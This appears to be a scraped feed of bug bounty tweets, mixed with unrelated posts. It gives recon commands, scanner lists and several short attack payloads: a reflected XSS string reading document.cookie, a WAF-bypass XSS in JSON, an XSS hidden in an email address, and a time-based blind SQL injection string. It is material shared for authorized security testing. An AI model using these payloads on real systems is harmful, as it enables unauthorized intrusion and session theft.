.

.

[Mustafa Adam Gamaraldin Abdalla 🇸🇩♥️ @wadgamaraldeen]

Reflected XSS && HTML Injection

Private bug bounty Program

- https://t.co/heIf4d4cn4
- search Field
- payload :-
"></script><script>alert(document.cookie)</script>

#bugbountytips
#cybersecurity
#security
#bugbounty
#xss

[Mustafa Adam Gamaraldin Abdalla 🇸🇩♥️ @wadgamaraldeen]

My Methodology in Testing for Subdomain Takeover Vulnerabilities

## Useful Writeups and Disclosured Reports in the first comment (:

#bugbountytips
#cybersecurity
#security

[Katie Paxton-Fear @InsiderPhD]

Do you want to attend a live class on API hacking? Can you bare going to London for a day 😉? Do you want insiderphd swag? Check out this free workshop with @LHS_LON

[Osama Elzero @Osama_Elzero]

نبدأ العظمة مع أخوك الكبير متولي

[Ninad Mishra @NinadMishra5]

Here is a list of some awesome SHODAN dorks for easy wins:)

Happy hunting!!

credit:@ManasH4rsh

#bugbountytips #infosec #hacking

[يقين @1gheith]

كرر هذا الدعاء عظيم جدا

" اللهُم إني أشهِدُك بأني قد رضيتُ بكل ما أردتَه من، عطاء وحِرمان، ومن جبرٍ، ومن كسرٍ، ومن فرح، ومن ألم، ومن نجاح ومن فشل، فأرضِنى بفرح وجبر من حيث لا احتسِب يا الله."

[Un9nPlayer @Un9nPlayer]

WAF bypasses XSS payload in JSON

Payload: ["');alert('XSS');//"]@xyz.xxx

#WAF #xss #BugBounty #bugbountytips

[Rohit Kumar @0xloooser]

Tip - 1⃣0⃣

How can you find CRLF Injection in just 10 Mins.

1- Collect all subdomains with amass, subfinder, assetfinder, etc. & save it.
2- Run Nuclei on sub.txt
cat sub.txt | nuclei -tags cves,osint,tech
3- and BOOM 🎉

[Ninad Mishra @NinadMishra5]

You can use #httpx to request any path and see the status code and other details on the go, filter, or matcher flags if you want to be more specific.

httpx -path /swagger-api/ -status-code -content-length

credit:@pdnuclei

#hackwithautomation #recon #bugbountytips #infosec

[Dvz | Python Architect @PythonDvz]

Building a WhatsApp Chatbot with Python, Twilio, and EC2: Introducing ChatGPT WhatsApp Bot
#python #Chatbot
https://t.co/fLxmcFEL6e

[Nuclei by ProjectDiscovery @pdnuclei]

Improve your filtering game with this list of tags, authors, directories, severities and types!

Filter by:
⚛️ Tags: -tags
⚛️ Author: -a
⚛️ Severity: -s
⚛️ Type: -pt
⚛️ Template/Directory: -t

Bookmark this list:
👉🔗 https://t.co/bnVoqW363C #hackwithautomation #nuclei101

[elSec @adrielsec]

Best tools to detect XSS:

XSSer, W3af, Probely, Power fuzzer, Burp Suite, Netsparker, ZAProxy, WebScarab, XSStrike-Reborn, XSScrapy, ImmuniWeb On-demand, Dalfox, JMeter, wapiti, ZAP-CLI, Arachni, XSS Hunter, Firebug, xsssniper, Skipfish, KNOXSS, Psalm
##BugBounty #bugbountytip

[Yunus Emre Öztaş @ynsmroztas]

@bug_vs_me @xss You can all the time try this payload :

"mitsec<form/><!><details/open/ontoggle=alert(document.domain)>"@gmail.com

[N$🌟 @__nav1n_]

I was testing an app's #oauth2 today and randomly inject the payload "0'XOR(if(now()=sysdate(),sleep(6-2),0))XOR'Z", with php extension, and booom it was blind #SQLinjection...wt**, never knew SQLi payloads can be sent using .php. #BugBounty #bugbountytips

[energiufukbarat @energiufukbarat]

" This is how i got my first bounty "

1. Tools :
- Naabu, Httpx, Katana , Nuclei from @pdiscoveryio
- Waymore , xnLinkfinder from @xnl_h4ck3r
2. How to exploit :
- https://t.co/TcRpQVy55t
Nahamcon 2022 AWS Cognito

[Md Ismail Šojal 🕷️ @0x0SojalSec]

This bypasses WAF filters for SSRF, open-redirect, etc where any IP as input gets blacklisted.⚡️

#infosec #bugbountytips #cybersecuritytips

[Professor the Hunter @bughuntar]

Find Bugs in Phone number param/field:

Credit: @ManieshNeupane

[elSec @adrielsec]

TOP15 Best Vulnerability Scanners 🎯

#BugBounty #bugbountytips #BugBounty #nuclei #hacking

[TESS @ArmanSameer95]

Just released a new tool for bug bounty hunters! My tool helps you store and run your recon using custom nuclei templates. Check it out on GitHub: https://t.co/bOpzDx9kh5
#bugbounty #recon #pentesting #bugbountytips #infosec #infosecurity